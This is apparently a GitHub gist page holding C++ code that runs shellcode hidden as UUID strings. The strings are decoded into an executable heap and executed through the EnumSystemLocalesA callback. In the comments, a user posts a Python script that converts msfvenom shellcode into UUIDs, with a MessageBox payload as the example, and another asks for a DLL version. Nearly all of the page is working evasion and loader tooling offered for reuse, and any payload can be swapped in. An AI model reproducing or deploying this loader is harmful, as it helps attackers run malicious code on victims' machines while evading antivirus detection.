Skip to content

Instantly share code, notes, and snippets.

@rxwx

rxwx/uuid.c Secret

Last active Apr 1, 2021
Embed
What would you like to do?
Execute shellcode using UuidFromStringA & EnumSystemLocalesA
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
const char* uuids[] =
{
"6850c031-6163-636c-5459-504092741551",
"2f728b64-768b-8b0c-760c-ad8b308b7e18",
"1aeb50b2-60b2-2948-d465-488b32488b76",
"768b4818-4810-48ad-8b30-488b7e300357",
"175c8b3c-8b28-1f74-2048-01fe8b541f24",
"172cb70f-528d-ad02-813c-0757696e4575",
"1f748bef-481c-fe01-8b34-ae4801f799ff",
"000000d7-0000-0000-0000-000000000000",
};
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA() != S_OK\n");
CloseHandle(ha);
return -1;
}
hptr += 16;
}
printf("[*] Hexdump: ");
for (int i = 0; i < elems*16; i++) {
printf("%02X ", ((unsigned char*)ha)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
@evandrix

This comment has been minimized.

Copy link

@evandrix evandrix commented Jan 24, 2021

int main() missing return 0; at the end

@rxwx

This comment has been minimized.

Copy link
Owner Author

@rxwx rxwx commented Jan 24, 2021

cheers

@sparta3407

This comment has been minimized.

Copy link

@sparta3407 sparta3407 commented Jan 29, 2021

can you remake the code to .dll please

@11philip22

This comment has been minimized.

Copy link

@11philip22 11philip22 commented Feb 4, 2021

very nice! Any known techniques for converting the shellcode to uuid's?

@11philip22

This comment has been minimized.

Copy link

@11philip22 11philip22 commented Feb 5, 2021

very nice! Any known techniques for converting the shellcode to uuid's?

found a technique for creating UUID's

""""Stolen from https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/"""
import uuid


def convert_to_uuid(shellcode):
    # If shellcode is not in multiples of 16, then add some nullbytes at the end
    if len(shellcode) % 16 != 0:
        print("[-] Shellcode's length not multiplies of 16 bytes")
        print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
        print("\n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))

        add_nullbyte = b"\x00" * (16 - (len(shellcode) % 16))
        shellcode += add_nullbyte

    uuids = []
    for i in range(0, len(shellcode), 16):
        uuid_string = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
        uuids.append('"' + uuid_string + '"')

    return uuids


def main():
    # msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="hello world" -f python
    # Copy/Paste the MessageBox payload here
    buf =  b""
    buf += b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
    buf += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
    buf += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
    buf += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
    buf += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
    buf += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
    buf += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
    buf += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
    buf += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
    buf += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
    buf += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
    buf += b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
    buf += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
    buf += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
    buf += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
    buf += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"
    buf += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"
    buf += b"\x24\x0a\x89\xe3\x68\x72\x6c\x64\x58\x68\x6f\x20\x77"
    buf += b"\x6f\x68\x68\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x0b\x89"
    buf += b"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
    buf += b"\x55\x08"

    uuids = convert_to_uuid(buf)
    print(*uuids, sep=",\n")

if __name__ == "__main__":
    main()

I tought i'd drop it here. maybe more people are interested :)

@T3jv1l

This comment has been minimized.

Copy link

@T3jv1l T3jv1l commented Apr 1, 2021

I have this error when i try to compile this code undefined reference to `_imp__UuidFromStringA@8

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment